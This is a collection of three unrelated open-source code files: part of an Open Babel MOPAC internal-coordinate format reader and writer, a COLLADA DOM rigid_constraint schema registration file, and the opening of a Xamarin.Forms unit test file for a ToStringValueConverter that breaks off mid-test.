" k \"keywords\" Use the specified keywords for input\n"
" f <file> Read the file specified for input keywords\n\n";
};
virtual const char* GetMIMEType()
{ return "chemical/x-mopac-input"; };
////////////////////////////////////////////////////
/// The "API" interface functions
virtual bool ReadMolecule(OBBase* pOb, OBConversion* pConv);
virtual bool WriteMolecule(OBBase* pOb, OBConversion* pConv);
};
//Make an instance of the format class
MOPACINTFormat theMOPACINTFormat;
/////////////////////////////////////////////////////////////////
bool MOPACINTFormat::ReadMolecule(OBBase* pOb, OBConversion* pConv)
{
OBMol* pmol = pOb->CastAndClear<OBMol>();
if (pmol == nullptr)
return false;
istream &ifs = *pConv->GetInStream();
OBMol &mol = *pmol;
const char* title= pConv->GetTitle();
char buffer[BUFF_SIZE];
OBAtom *atom;
vector<string> vs;
vector<OBInternalCoord*> vic;
vector<unsigned int> indices;
vic.push_back(nullptr);
ifs.getline(buffer,BUFF_SIZE); // keywords
ifs.getline(buffer,BUFF_SIZE); // filename
ifs.getline(buffer,BUFF_SIZE); // title (currently ignored)
mol.BeginModify();
while (ifs.getline(buffer,BUFF_SIZE)) {
tokenize(vs,buffer);
if (vs.size() == 0)
break;
else if (vs.size() < 10)
return false;
atom = mol.NewAtom();
OBInternalCoord *coord = new OBInternalCoord;
//vic[atom->GetIdx()]->_dst = atof(vs[1].c_str());
//vic[atom->GetIdx()]->_ang = atof(vs[3].c_str());
//vic[atom->GetIdx()]->_tor = atof(vs[5].c_str());
coord->_dst = atof(vs[1].c_str());
coord->_ang = atof(vs[3].c_str());
coord->_tor = atof(vs[5].c_str());
vic.push_back(coord);
indices.push_back(atoi(vs[7].c_str()));
indices.push_back(atoi(vs[8].c_str()));
indices.push_back(atoi(vs[9].c_str()));
atom->SetAtomicNum(OBElements::GetAtomicNum(vs[0].c_str()));
}
unsigned int idx = 0;
FOR_ATOMS_OF_MOL (a, mol) {
if ((indices[idx] > 0) && (indices[idx] <= mol.NumAtoms()))
vic[a->GetIdx()]->_a = mol.GetAtom(indices[idx]);
else
vic[a->GetIdx()]->_a = nullptr;
if ((indices[idx+1] > 0) && (indices[idx+1] <= mol.NumAtoms()))
vic[a->GetIdx()]->_b = mol.GetAtom(indices[idx+1]);
else
vic[a->GetIdx()]->_b = nullptr;
if ((indices[idx+2] > 0) && (indices[idx+2] <= mol.NumAtoms()))
vic[a->GetIdx()]->_c = mol.GetAtom(indices[idx+2]);
else
vic[a->GetIdx()]->_c = nullptr;
idx += 3;
}
/*
vector<OBInternalCoord*>::iterator j;
for (j = vic.begin(); j != vic.end(); j++) {
cout << (*j)->_dst << " " << (*j)->_ang << " " << (*j)->_tor << " ";
if ((*j)->_a)
cout << (*j)->_a->GetIdx() << " ";
if ((*j)->_b)
cout << (*j)->_b->GetIdx() << " ";
if ((*j)->_c)
cout << (*j)->_c->GetIdx() << endl;
}
*/
InternalToCartesian(vic,mol);
if (!pConv->IsOption("b",OBConversion::INOPTIONS))
mol.ConnectTheDots();
if (!pConv->IsOption("s",OBConversion::INOPTIONS) && !pConv->IsOption("b",OBConversion::INOPTIONS))
mol.PerceiveBondOrders();
mol.SetTitle(title);
return(true);
}
/////////////////////////////////////////////////////////////////
bool MOPACINTFormat::WriteMolecule(OBBase* pOb, OBConversion* pConv)
{
OBMol* pmol = dynamic_cast<OBMol*>(pOb);
if (pmol == nullptr)
return false;
ostream &ofs = *pConv->GetOutStream();
OBMol &mol = *pmol;
char type[16], buffer[BUFF_SIZE];
OBAtom *a,*b,*c;
vector<OBInternalCoord*> vic;
vic.push_back(nullptr);
for (unsigned int i = 0; i<mol.NumAtoms(); i++)
vic.push_back(new OBInternalCoord);
CartesianToInternal(vic,mol);
const char *keywords = pConv->IsOption("k",OBConversion::OUTOPTIONS);
const char *keywordFile = pConv->IsOption("f",OBConversion::OUTOPTIONS);
string defaultKeywords = "PUT KEYWORDS HERE";
if(keywords)
{
defaultKeywords = keywords;
}
if (keywordFile)
{
ifstream kfstream(keywordFile);
string keyBuffer;
if (kfstream)
{
while (getline(kfstream, keyBuffer))
ofs << keyBuffer << endl;
}
}
else
ofs << defaultKeywords << endl;
ofs << mol.GetTitle() << endl;
ofs << endl; // comment
double r,w,t;
FOR_ATOMS_OF_MOL (atom, mol) {
a = vic[atom->GetIdx()]->_a;
b = vic[atom->GetIdx()]->_b;
c = vic[atom->GetIdx()]->_c;
r = vic[atom->GetIdx()]->_dst;
w = vic[atom->GetIdx()]->_ang;
t = vic[atom->GetIdx()]->_tor;
strncpy(type, OBElements::GetSymbol(atom->GetAtomicNum()), 16);
type[15] = '\0';
if (t < 0)
t += 360;
snprintf(buffer, BUFF_SIZE, "%-2s %10.6f 1 %10.6f 1 %10.6f 1 ", type, r, w, t);
ofs << buffer;
if (atom->GetIdx() == 1)
snprintf(buffer, BUFF_SIZE, "%4d%4d%4d\n", 0, 0, 0);
if (atom->GetIdx() == 2)
snprintf(buffer, BUFF_SIZE, "%4d%4d%4d\n", a->GetIdx(), 0, 0);
if (atom->GetIdx() == 3)
snprintf(buffer, BUFF_SIZE, "%4d%4d%4d\n", a->GetIdx(), b->GetIdx(), 0);
if (atom->GetIdx() >= 4)
snprintf(buffer, BUFF_SIZE, "%4d%4d%4d\n", a->GetIdx(), b->GetIdx(), c->GetIdx());
ofs << buffer;
}
return(true);
}
} //namespace OpenBabel
|
{
"pile_set_name": "Github"
}
|
#include <dae.h>
#include <dae/daeDom.h>
#include <1.5/dom/domRigid_constraint.h>
#include <dae/daeMetaCMPolicy.h>
#include <dae/daeMetaSequence.h>
#include <dae/daeMetaChoice.h>
#include <dae/daeMetaGroup.h>
#include <dae/daeMetaAny.h>
#include <dae/daeMetaElementAttribute.h>
namespace ColladaDOM150 {
daeElementRef
domRigid_constraint::create(DAE& dae)
{
domRigid_constraintRef ref = new domRigid_constraint(dae);
return ref;
}
daeMetaElement *
domRigid_constraint::registerElement(DAE& dae)
{
daeMetaElement* meta = dae.getMeta(ID());
if ( meta != NULL ) return meta;
meta = new daeMetaElement(dae);
dae.setMeta(ID(), *meta);
meta->setName( "rigid_constraint" );
meta->registerClass(domRigid_constraint::create);
daeMetaCMPolicy *cm = NULL;
daeMetaElementAttribute *mea = NULL;
cm = new daeMetaSequence( meta, cm, 0, 1, 1 );
mea = new daeMetaElementAttribute( meta, cm, 0, 1, 1 );
mea->setName( "ref_attachment" );
mea->setOffset( daeOffsetOf(domRigid_constraint,elemRef_attachment) );
mea->setElementType( domRigid_constraint::domRef_attachment::registerElement(dae) );
cm->appendChild( mea );
mea = new daeMetaElementAttribute( meta, cm, 1, 1, 1 );
mea->setName( "attachment" );
mea->setOffset( daeOffsetOf(domRigid_constraint,elemAttachment) );
mea->setElementType( domRigid_constraint::domAttachment::registerElement(dae) );
cm->appendChild( mea );
mea = new daeMetaElementAttribute( meta, cm, 2, 1, 1 );
mea->setName( "technique_common" );
mea->setOffset( daeOffsetOf(domRigid_constraint,elemTechnique_common) );
mea->setElementType( domRigid_constraint::domTechnique_common::registerElement(dae) );
cm->appendChild( mea );
mea = new daeMetaElementArrayAttribute( meta, cm, 3, 0, -1 );
mea->setName( "technique" );
mea->setOffset( daeOffsetOf(domRigid_constraint,elemTechnique_array) );
mea->setElementType( domTechnique::registerElement(dae) );
cm->appendChild( mea );
mea = new daeMetaElementArrayAttribute( meta, cm, 4, 0, -1 );
mea->setName( "extra" );
mea->setOffset( daeOffsetOf(domRigid_constraint,elemExtra_array) );
mea->setElementType( domExtra::registerElement(dae) );
cm->appendChild( mea );
cm->setMaxOrdinal( 4 );
meta->setCMRoot( cm );
// Add attribute: sid
{
daeMetaAttribute *ma = new daeMetaAttribute;
ma->setName( "sid" );
ma->setType( dae.getAtomicTypes().get("Sid"));
ma->setOffset( daeOffsetOf( domRigid_constraint , attrSid ));
ma->setContainer( meta );
ma->setIsRequired( true );
meta->appendAttribute(ma);
}
// Add attribute: name
{
daeMetaAttribute *ma = new daeMetaAttribute;
ma->setName( "name" );
ma->setType( dae.getAtomicTypes().get("xsToken"));
ma->setOffset( daeOffsetOf( domRigid_constraint , attrName ));
ma->setContainer( meta );
meta->appendAttribute(ma);
}
meta->setElementSize(sizeof(domRigid_constraint));
meta->validate();
return meta;
}
daeElementRef
domRigid_constraint::domRef_attachment::create(DAE& dae)
{
domRigid_constraint::domRef_attachmentRef ref = new domRigid_constraint::domRef_attachment(dae);
ref->attrRigid_body.setContainer( (domRigid_constraint::domRef_attachment*)ref );
return ref;
}
daeMetaElement *
domRigid_constraint::domRef_attachment::registerElement(DAE& dae)
{
daeMetaElement* meta = dae.getMeta(ID());
if ( meta != NULL ) return meta;
meta = new daeMetaElement(dae);
dae.setMeta(ID(), *meta);
meta->setName( "ref_attachment" );
meta->registerClass(domRigid_constraint::domRef_attachment::create);
meta->setIsInnerClass( true );
daeMetaCMPolicy *cm = NULL;
daeMetaElementAttribute *mea = NULL;
cm = new daeMetaSequence( meta, cm, 0, 1, 1 );
cm = new daeMetaChoice( meta, cm, 0, 0, 0, -1 );
mea = new daeMetaElementArrayAttribute( meta, cm, 0, 1, 1 );
mea->setName( "translate" );
mea->setOffset( daeOffsetOf(domRigid_constraint::domRef_attachment,elemTranslate_array) );
mea->setElementType( domTranslate::registerElement(dae) );
cm->appendChild( mea );
mea = new daeMetaElementArrayAttribute( meta, cm, 0, 1, 1 );
mea->setName( "rotate" );
mea->setOffset( daeOffsetOf(domRigid_constraint::domRef_attachment,elemRotate_array) );
mea->setElementType( domRotate::registerElement(dae) );
cm->appendChild( mea );
cm->setMaxOrdinal( 0 );
cm->getParent()->appendChild( cm );
cm = cm->getParent();
mea = new daeMetaElementArrayAttribute( meta, cm, 3001, 0, -1 );
mea->setName( "extra" );
mea->setOffset( daeOffsetOf(domRigid_constraint::domRef_attachment,elemExtra_array) );
mea->setElementType( domExtra::registerElement(dae) );
cm->appendChild( mea );
cm->setMaxOrdinal( 3001 );
meta->setCMRoot( cm );
// Ordered list of sub-elements
meta->addContents(daeOffsetOf(domRigid_constraint::domRef_attachment,_contents));
meta->addContentsOrder(daeOffsetOf(domRigid_constraint::domRef_attachment,_contentsOrder));
meta->addCMDataArray(daeOffsetOf(domRigid_constraint::domRef_attachment,_CMData), 1);
// Add attribute: rigid_body
{
daeMetaAttribute *ma = new daeMetaAttribute;
ma->setName( "rigid_body" );
ma->setType( dae.getAtomicTypes().get("xsAnyURI"));
ma->setOffset( daeOffsetOf( domRigid_constraint::domRef_attachment , attrRigid_body ));
ma->setContainer( meta );
meta->appendAttribute(ma);
}
meta->setElementSize(sizeof(domRigid_constraint::domRef_attachment));
meta->validate();
return meta;
}
daeElementRef
domRigid_constraint::domAttachment::create(DAE& dae)
{
domRigid_constraint::domAttachmentRef ref = new domRigid_constraint::domAttachment(dae);
ref->attrRigid_body.setContainer( (domRigid_constraint::domAttachment*)ref );
return ref;
}
daeMetaElement *
domRigid_constraint::domAttachment::registerElement(DAE& dae)
{
daeMetaElement* meta = dae.getMeta(ID());
if ( meta != NULL ) return meta;
meta = new daeMetaElement(dae);
dae.setMeta(ID(), *meta);
meta->setName( "attachment" );
meta->registerClass(domRigid_constraint::domAttachment::create);
meta->setIsInnerClass( true );
daeMetaCMPolicy *cm = NULL;
daeMetaElementAttribute *mea = NULL;
cm = new daeMetaSequence( meta, cm, 0, 1, 1 );
cm = new daeMetaChoice( meta, cm, 0, 0, 0, -1 );
mea = new daeMetaElementArrayAttribute( meta, cm, 0, 1, 1 );
mea->setName( "translate" );
mea->setOffset( daeOffsetOf(domRigid_constraint::domAttachment,elemTranslate_array) );
mea->setElementType( domTranslate::registerElement(dae) );
cm->appendChild( mea );
mea = new daeMetaElementArrayAttribute( meta, cm, 0, 1, 1 );
mea->setName( "rotate" );
mea->setOffset( daeOffsetOf(domRigid_constraint::domAttachment,elemRotate_array) );
mea->setElementType( domRotate::registerElement(dae) );
cm->appendChild( mea );
cm->setMaxOrdinal( 0 );
cm->getParent()->appendChild( cm );
cm = cm->getParent();
mea = new daeMetaElementArrayAttribute( meta, cm, 3001, 0, -1 );
mea->setName( "extra" );
mea->setOffset( daeOffsetOf(domRigid_constraint::domAttachment,elemExtra_array) );
mea->setElementType( domExtra::registerElement(dae) );
cm->appendChild( mea );
cm->setMaxOrdinal( 3001 );
meta->setCMRoot( cm );
// Ordered list of sub-elements
meta->addContents(daeOffsetOf(domRigid_constraint::domAttachment,_contents));
meta->addContentsOrder(daeOffsetOf(domRigid_constraint::domAttachment,_contentsOrder));
meta->addCMDataArray(daeOffsetOf(domRigid_constraint::domAttachment,_CMData), 1);
// Add attribute: rigid_body
{
daeMetaAttribute *ma = new daeMetaAttribute;
ma->setName( "rigid_body" );
ma->setType( dae.getAtomicTypes().get("xsAnyURI"));
ma->setOffset( daeOffsetOf( domRigid_constraint::domAttachment , attrRigid_body ));
ma->setContainer( meta );
meta->appendAttribute(ma);
}
meta->setElementSize(sizeof(domRigid_constraint::domAttachment));
meta->validate();
return meta;
}
daeElementRef
domRigid_constraint::domTechnique_common::create(DAE& dae)
{
domRigid_constraint::domTechnique_commonRef ref = new domRigid_constraint::domTechnique_common(dae);
return ref;
}
daeMetaElement *
domRigid_constraint::domTechnique_common::registerElement(DAE& dae)
{
daeMetaElement* meta = dae.getMeta(ID());
if ( meta != NULL ) return meta;
meta = new daeMetaElement(dae);
dae.setMeta(ID(), *meta);
meta->setName( "technique_common" );
meta->registerClass(domRigid_constraint::domTechnique_common::create);
meta->setIsInnerClass( true );
daeMetaCMPolicy *cm = NULL;
daeMetaElementAttribute *mea = NULL;
cm = new daeMetaSequence( meta, cm, 0, 1, 1 );
mea = new daeMetaElementAttribute( meta, cm, 0, 0, 1 );
mea->setName( "enabled" );
mea->setOffset( daeOffsetOf(domRigid_constraint::domTechnique_common,elemEnabled) );
mea->setElementType( domRigid_constraint::domTechnique_common::domEnabled::registerElement(dae) );
cm->appendChild( mea );
mea = new daeMetaElementAttribute( meta, cm, 1, 0, 1 );
mea->setName( "interpenetrate" );
mea->setOffset( daeOffsetOf(domRigid_constraint::domTechnique_common,elemInterpenetrate) );
mea->setElementType( domRigid_constraint::domTechnique_common::domInterpenetrate::registerElement(dae) );
cm->appendChild( mea );
mea = new daeMetaElementAttribute( meta, cm, 2, 0, 1 );
mea->setName( "limits" );
mea->setOffset( daeOffsetOf(domRigid_constraint::domTechnique_common,elemLimits) );
mea->setElementType( domRigid_constraint::domTechnique_common::domLimits::registerElement(dae) );
cm->appendChild( mea );
mea = new daeMetaElementAttribute( meta, cm, 3, 0, 1 );
mea->setName( "spring" );
mea->setOffset( daeOffsetOf(domRigid_constraint::domTechnique_common,elemSpring) );
mea->setElementType( domRigid_constraint::domTechnique_common::domSpring::registerElement(dae) );
cm->appendChild( mea );
cm->setMaxOrdinal( 3 );
meta->setCMRoot( cm );
meta->setElementSize(sizeof(domRigid_constraint::domTechnique_common));
meta->validate();
return meta;
}
daeElementRef
domRigid_constraint::domTechnique_common::domEnabled::create(DAE& dae)
{
domRigid_constraint::domTechnique_common::domEnabledRef ref = new domRigid_constraint::domTechnique_common::domEnabled(dae);
return ref;
}
daeMetaElement *
domRigid_constraint::domTechnique_common::domEnabled::registerElement(DAE& dae)
{
daeMetaElement* meta = dae.getMeta(ID());
if ( meta != NULL ) return meta;
meta = new daeMetaElement(dae);
dae.setMeta(ID(), *meta);
meta->setName( "enabled" );
meta->registerClass(domRigid_constraint::domTechnique_common::domEnabled::create);
meta->setIsInnerClass( true );
// Add attribute: _value
{
daeMetaAttribute *ma = new daeMetaAttribute;
ma->setName( "_value" );
ma->setType( dae.getAtomicTypes().get("xsBoolean"));
ma->setOffset( daeOffsetOf( domRigid_constraint::domTechnique_common::domEnabled , _value ));
ma->setContainer( meta );
meta->appendAttribute(ma);
}
// Add attribute: sid
{
daeMetaAttribute *ma = new daeMetaAttribute;
ma->setName( "sid" );
ma->setType( dae.getAtomicTypes().get("Sid"));
ma->setOffset( daeOffsetOf( domRigid_constraint::domTechnique_common::domEnabled , attrSid ));
ma->setContainer( meta );
meta->appendAttribute(ma);
}
meta->setElementSize(sizeof(domRigid_constraint::domTechnique_common::domEnabled));
meta->validate();
return meta;
}
daeElementRef
domRigid_constraint::domTechnique_common::domInterpenetrate::create(DAE& dae)
{
domRigid_constraint::domTechnique_common::domInterpenetrateRef ref = new domRigid_constraint::domTechnique_common::domInterpenetrate(dae);
return ref;
}
daeMetaElement *
domRigid_constraint::domTechnique_common::domInterpenetrate::registerElement(DAE& dae)
{
daeMetaElement* meta = dae.getMeta(ID());
if ( meta != NULL ) return meta;
meta = new daeMetaElement(dae);
dae.setMeta(ID(), *meta);
meta->setName( "interpenetrate" );
meta->registerClass(domRigid_constraint::domTechnique_common::domInterpenetrate::create);
meta->setIsInnerClass( true );
// Add attribute: _value
{
daeMetaAttribute *ma = new daeMetaAttribute;
ma->setName( "_value" );
ma->setType( dae.getAtomicTypes().get("xsBoolean"));
ma->setOffset( daeOffsetOf( domRigid_constraint::domTechnique_common::domInterpenetrate , _value ));
ma->setContainer( meta );
meta->appendAttribute(ma);
}
// Add attribute: sid
{
daeMetaAttribute *ma = new daeMetaAttribute;
ma->setName( "sid" );
ma->setType( dae.getAtomicTypes().get("Sid"));
ma->setOffset( daeOffsetOf( domRigid_constraint::domTechnique_common::domInterpenetrate , attrSid ));
ma->setContainer( meta );
meta->appendAttribute(ma);
}
meta->setElementSize(sizeof(domRigid_constraint::domTechnique_common::domInterpenetrate));
meta->validate();
return meta;
}
daeElementRef
domRigid_constraint::domTechnique_common::domLimits::create(DAE& dae)
{
domRigid_constraint::domTechnique_common::domLimitsRef ref = new domRigid_constraint::domTechnique_common::domLimits(dae);
return ref;
}
daeMetaElement *
domRigid_constraint::domTechnique_common::domLimits::registerElement(DAE& dae)
{
daeMetaElement* meta = dae.getMeta(ID());
if ( meta != NULL ) return meta;
meta = new daeMetaElement(dae);
dae.setMeta(ID(), *meta);
meta->setName( "limits" );
meta->registerClass(domRigid_constraint::domTechnique_common::domLimits::create);
meta->setIsInnerClass( true );
daeMetaCMPolicy *cm = NULL;
daeMetaElementAttribute *mea = NULL;
cm = new daeMetaSequence( meta, cm, 0, 1, 1 );
mea = new daeMetaElementAttribute( meta, cm, 0, 0, 1 );
mea->setName( "swing_cone_and_twist" );
mea->setOffset( daeOffsetOf(domRigid_constraint::domTechnique_common::domLimits,elemSwing_cone_and_twist) );
mea->setElementType( domRigid_constraint::domTechnique_common::domLimits::domSwing_cone_and_twist::registerElement(dae) );
cm->appendChild( mea );
mea = new daeMetaElementAttribute( meta, cm, 1, 0, 1 );
mea->setName( "linear" );
mea->setOffset( daeOffsetOf(domRigid_constraint::domTechnique_common::domLimits,elemLinear) );
mea->setElementType( domRigid_constraint::domTechnique_common::domLimits::domLinear::registerElement(dae) );
cm->appendChild( mea );
cm->setMaxOrdinal( 1 );
meta->setCMRoot( cm );
meta->setElementSize(sizeof(domRigid_constraint::domTechnique_common::domLimits));
meta->validate();
return meta;
}
daeElementRef
domRigid_constraint::domTechnique_common::domLimits::domSwing_cone_and_twist::create(DAE& dae)
{
domRigid_constraint::domTechnique_common::domLimits::domSwing_cone_and_twistRef ref = new domRigid_constraint::domTechnique_common::domLimits::domSwing_cone_and_twist(dae);
return ref;
}
daeMetaElement *
domRigid_constraint::domTechnique_common::domLimits::domSwing_cone_and_twist::registerElement(DAE& dae)
{
daeMetaElement* meta = dae.getMeta(ID());
if ( meta != NULL ) return meta;
meta = new daeMetaElement(dae);
dae.setMeta(ID(), *meta);
meta->setName( "swing_cone_and_twist" );
meta->registerClass(domRigid_constraint::domTechnique_common::domLimits::domSwing_cone_and_twist::create);
meta->setIsInnerClass( true );
daeMetaCMPolicy *cm = NULL;
daeMetaElementAttribute *mea = NULL;
cm = new daeMetaSequence( meta, cm, 0, 1, 1 );
mea = new daeMetaElementAttribute( meta, cm, 0, 0, 1 );
mea->setName( "min" );
mea->setOffset( daeOffsetOf(domRigid_constraint::domTechnique_common::domLimits::domSwing_cone_and_twist,elemMin) );
mea->setElementType( domTargetable_float3::registerElement(dae) );
cm->appendChild( mea );
mea = new daeMetaElementAttribute( meta, cm, 1, 0, 1 );
mea->setName( "max" );
mea->setOffset( daeOffsetOf(domRigid_constraint::domTechnique_common::domLimits::domSwing_cone_and_twist,elemMax) );
mea->setElementType( domTargetable_float3::registerElement(dae) );
cm->appendChild( mea );
cm->setMaxOrdinal( 1 );
meta->setCMRoot( cm );
meta->setElementSize(sizeof(domRigid_constraint::domTechnique_common::domLimits::domSwing_cone_and_twist));
meta->validate();
return meta;
}
daeElementRef
domRigid_constraint::domTechnique_common::domLimits::domLinear::create(DAE& dae)
{
domRigid_constraint::domTechnique_common::domLimits::domLinearRef ref = new domRigid_constraint::domTechnique_common::domLimits::domLinear(dae);
return ref;
}
daeMetaElement *
domRigid_constraint::domTechnique_common::domLimits::domLinear::registerElement(DAE& dae)
{
daeMetaElement* meta = dae.getMeta(ID());
if ( meta != NULL ) return meta;
meta = new daeMetaElement(dae);
dae.setMeta(ID(), *meta);
meta->setName( "linear" );
meta->registerClass(domRigid_constraint::domTechnique_common::domLimits::domLinear::create);
meta->setIsInnerClass( true );
daeMetaCMPolicy *cm = NULL;
daeMetaElementAttribute *mea = NULL;
cm = new daeMetaSequence( meta, cm, 0, 1, 1 );
mea = new daeMetaElementAttribute( meta, cm, 0, 0, 1 );
mea->setName( "min" );
mea->setOffset( daeOffsetOf(domRigid_constraint::domTechnique_common::domLimits::domLinear,elemMin) );
mea->setElementType( domTargetable_float3::registerElement(dae) );
cm->appendChild( mea );
mea = new daeMetaElementAttribute( meta, cm, 1, 0, 1 );
mea->setName( "max" );
mea->setOffset( daeOffsetOf(domRigid_constraint::domTechnique_common::domLimits::domLinear,elemMax) );
mea->setElementType( domTargetable_float3::registerElement(dae) );
cm->appendChild( mea );
cm->setMaxOrdinal( 1 );
meta->setCMRoot( cm );
meta->setElementSize(sizeof(domRigid_constraint::domTechnique_common::domLimits::domLinear));
meta->validate();
return meta;
}
daeElementRef
domRigid_constraint::domTechnique_common::domSpring::create(DAE& dae)
{
domRigid_constraint::domTechnique_common::domSpringRef ref = new domRigid_constraint::domTechnique_common::domSpring(dae);
return ref;
}
daeMetaElement *
domRigid_constraint::domTechnique_common::domSpring::registerElement(DAE& dae)
{
daeMetaElement* meta = dae.getMeta(ID());
if ( meta != NULL ) return meta;
meta = new daeMetaElement(dae);
dae.setMeta(ID(), *meta);
meta->setName( "spring" );
meta->registerClass(domRigid_constraint::domTechnique_common::domSpring::create);
meta->setIsInnerClass( true );
daeMetaCMPolicy *cm = NULL;
daeMetaElementAttribute *mea = NULL;
cm = new daeMetaSequence( meta, cm, 0, 1, 1 );
mea = new daeMetaElementAttribute( meta, cm, 0, 0, 1 );
mea->setName( "angular" );
mea->setOffset( daeOffsetOf(domRigid_constraint::domTechnique_common::domSpring,elemAngular) );
mea->setElementType( domRigid_constraint::domTechnique_common::domSpring::domAngular::registerElement(dae) );
cm->appendChild( mea );
mea = new daeMetaElementAttribute( meta, cm, 1, 0, 1 );
mea->setName( "linear" );
mea->setOffset( daeOffsetOf(domRigid_constraint::domTechnique_common::domSpring,elemLinear) );
mea->setElementType( domRigid_constraint::domTechnique_common::domSpring::domLinear::registerElement(dae) );
cm->appendChild( mea );
cm->setMaxOrdinal( 1 );
meta->setCMRoot( cm );
meta->setElementSize(sizeof(domRigid_constraint::domTechnique_common::domSpring));
meta->validate();
return meta;
}
daeElementRef
domRigid_constraint::domTechnique_common::domSpring::domAngular::create(DAE& dae)
{
domRigid_constraint::domTechnique_common::domSpring::domAngularRef ref = new domRigid_constraint::domTechnique_common::domSpring::domAngular(dae);
return ref;
}
daeMetaElement *
domRigid_constraint::domTechnique_common::domSpring::domAngular::registerElement(DAE& dae)
{
daeMetaElement* meta = dae.getMeta(ID());
if ( meta != NULL ) return meta;
meta = new daeMetaElement(dae);
dae.setMeta(ID(), *meta);
meta->setName( "angular" );
meta->registerClass(domRigid_constraint::domTechnique_common::domSpring::domAngular::create);
meta->setIsInnerClass( true );
daeMetaCMPolicy *cm = NULL;
daeMetaElementAttribute *mea = NULL;
cm = new daeMetaSequence( meta, cm, 0, 1, 1 );
mea = new daeMetaElementAttribute( meta, cm, 0, 0, 1 );
mea->setName( "stiffness" );
mea->setOffset( daeOffsetOf(domRigid_constraint::domTechnique_common::domSpring::domAngular,elemStiffness) );
mea->setElementType( domTargetable_float::registerElement(dae) );
cm->appendChild( mea );
mea = new daeMetaElementAttribute( meta, cm, 1, 0, 1 );
mea->setName( "damping" );
mea->setOffset( daeOffsetOf(domRigid_constraint::domTechnique_common::domSpring::domAngular,elemDamping) );
mea->setElementType( domTargetable_float::registerElement(dae) );
cm->appendChild( mea );
mea = new daeMetaElementAttribute( meta, cm, 2, 0, 1 );
mea->setName( "target_value" );
mea->setOffset( daeOffsetOf(domRigid_constraint::domTechnique_common::domSpring::domAngular,elemTarget_value) );
mea->setElementType( domTargetable_float::registerElement(dae) );
cm->appendChild( mea );
cm->setMaxOrdinal( 2 );
meta->setCMRoot( cm );
meta->setElementSize(sizeof(domRigid_constraint::domTechnique_common::domSpring::domAngular));
meta->validate();
return meta;
}
daeElementRef
domRigid_constraint::domTechnique_common::domSpring::domLinear::create(DAE& dae)
{
domRigid_constraint::domTechnique_common::domSpring::domLinearRef ref = new domRigid_constraint::domTechnique_common::domSpring::domLinear(dae);
return ref;
}
daeMetaElement *
domRigid_constraint::domTechnique_common::domSpring::domLinear::registerElement(DAE& dae)
{
daeMetaElement* meta = dae.getMeta(ID());
if ( meta != NULL ) return meta;
meta = new daeMetaElement(dae);
dae.setMeta(ID(), *meta);
meta->setName( "linear" );
meta->registerClass(domRigid_constraint::domTechnique_common::domSpring::domLinear::create);
meta->setIsInnerClass( true );
daeMetaCMPolicy *cm = NULL;
daeMetaElementAttribute *mea = NULL;
cm = new daeMetaSequence( meta, cm, 0, 1, 1 );
mea = new daeMetaElementAttribute( meta, cm, 0, 0, 1 );
mea->setName( "stiffness" );
mea->setOffset( daeOffsetOf(domRigid_constraint::domTechnique_common::domSpring::domLinear,elemStiffness) );
mea->setElementType( domTargetable_float::registerElement(dae) );
cm->appendChild( mea );
mea = new daeMetaElementAttribute( meta, cm, 1, 0, 1 );
mea->setName( "damping" );
mea->setOffset( daeOffsetOf(domRigid_constraint::domTechnique_common::domSpring::domLinear,elemDamping) );
mea->setElementType( domTargetable_float::registerElement(dae) );
cm->appendChild( mea );
mea = new daeMetaElementAttribute( meta, cm, 2, 0, 1 );
mea->setName( "target_value" );
mea->setOffset( daeOffsetOf(domRigid_constraint::domTechnique_common::domSpring::domLinear,elemTarget_value) );
mea->setElementType( domTargetable_float::registerElement(dae) );
cm->appendChild( mea );
cm->setMaxOrdinal( 2 );
meta->setCMRoot( cm );
meta->setElementSize(sizeof(domRigid_constraint::domTechnique_common::domSpring::domLinear));
meta->validate();
return meta;
}
} // ColladaDOM150
|
{
"pile_set_name": "Github"
}
|
using System;
using System.Globalization;
using NUnit.Framework;
namespace Xamarin.Forms.Core.UnitTests
{
[TestFixture]
public class ToStringValueConverterTests : BaseTestFixture
{
static readonly CultureInfo _enUsCulture = CultureInfo.GetCultureInfo("en-US");
static readonly CultureInfo _skSkCulture = CultureInfo.GetCultureInfo("sk-SK");
[SetUp]
public override void Setup()
{
base.Setup();
System.Threading.Thread.CurrentThread.CurrentCulture = _enUsCulture;
}
[Test]
public void NullObjectConvertsToNull()
{
var toStringValueConverter = new ToStringValueConverter();
object result = toStringValueConverter.Convert(null, null, null, null);
Assert.That(result, Is.Null);
}
[Test]
public void NullObjectWithTargetTypeConvertsToNull()
{
var toStringValueConverter = new ToStringValueConverter();
object result = toStringValueConverter.Convert(null, typeof(string), null, null);
Assert.That(result, Is.Null);
}
[Test]
public void ObjectConvertsToStringValue()
{
var toStringValueConverter = new ToStringValueConverter();
object result = toStringValueConverter.Convert(new object(), typeof(string), null, null);
Assert.That(result, Is.EqualTo("System.Object"));
}
[Test]
public void EmptyStringConvertsToEmptyString()
{
var toStringValueConverter = new ToStringValueConverter();
object result = toStringValueConverter.Convert(string.Empty, typeof(string), null, null);
Assert.That(result, Is.EqualTo(string.Empty));
}
[Test]
public void StringConvertsToString()
{
var toStringValueConverter = new ToStringValueConverter();
object result = toStringValueConverter.Convert("Hello, World!", typeof(string), null, null);
Assert.That(result, Is.EqualTo("Hello, World!"));
}
private class ToStringObject
{
public ToStringObject(string value)
{
Value = value;
}
public string Value { get; set; }
public int ToStringCounter { get; private set; }
public override string ToString()
{
ToStringCounter++;
return Value;
}
}
[Test]
public void CustomObjectWithNullValueConvertsToNull()
{
var toStringValueConverter = new ToStringValueConverter();
var value = new ToStringObject(null);
object result = toStringValueConverter.Convert(value, typeof(string), null, null);
Assert.That(result, Is.Null);
Assert.That(value.ToStringCounter, Is.EqualTo(1));
}
[Test]
public void CustomObjectWithEmptyStringConvertsToEmptyString()
{
var toStringValueConverter = new ToStringValueConverter();
var value = new ToStringObject(string.Empty);
object result = toStringValueConverter.Convert(value, typeof(string), null, null);
Assert.That(result, Is.EqualTo(string.Empty));
Assert.That(value.ToStringCounter, Is.EqualTo(1));
}
[Test]
public void CustomObjectWithStringConvertsToStringValue()
{
var toStringValueConverter = new ToStringValueConverter();
var value = new ToStringObject("Test string");
object result = toStringValueConverter.Convert(value, typeof(string), null, null);
Assert.That(result, Is.EqualTo("Test string"));
Assert.That(value.ToStringCounter, Is.EqualTo(1));
}
[Test]
public void ExecutesToStringTwice()
{
var toStringValueConverter = new ToStringValueConverter();
var value = new ToStringObject("Test string");
object result = toStringValueConverter.Convert(value, typeof(string), null, _skSkCulture);
Assert.That(result, Is.EqualTo("Test string"));
value.Value = "Hello, World!";
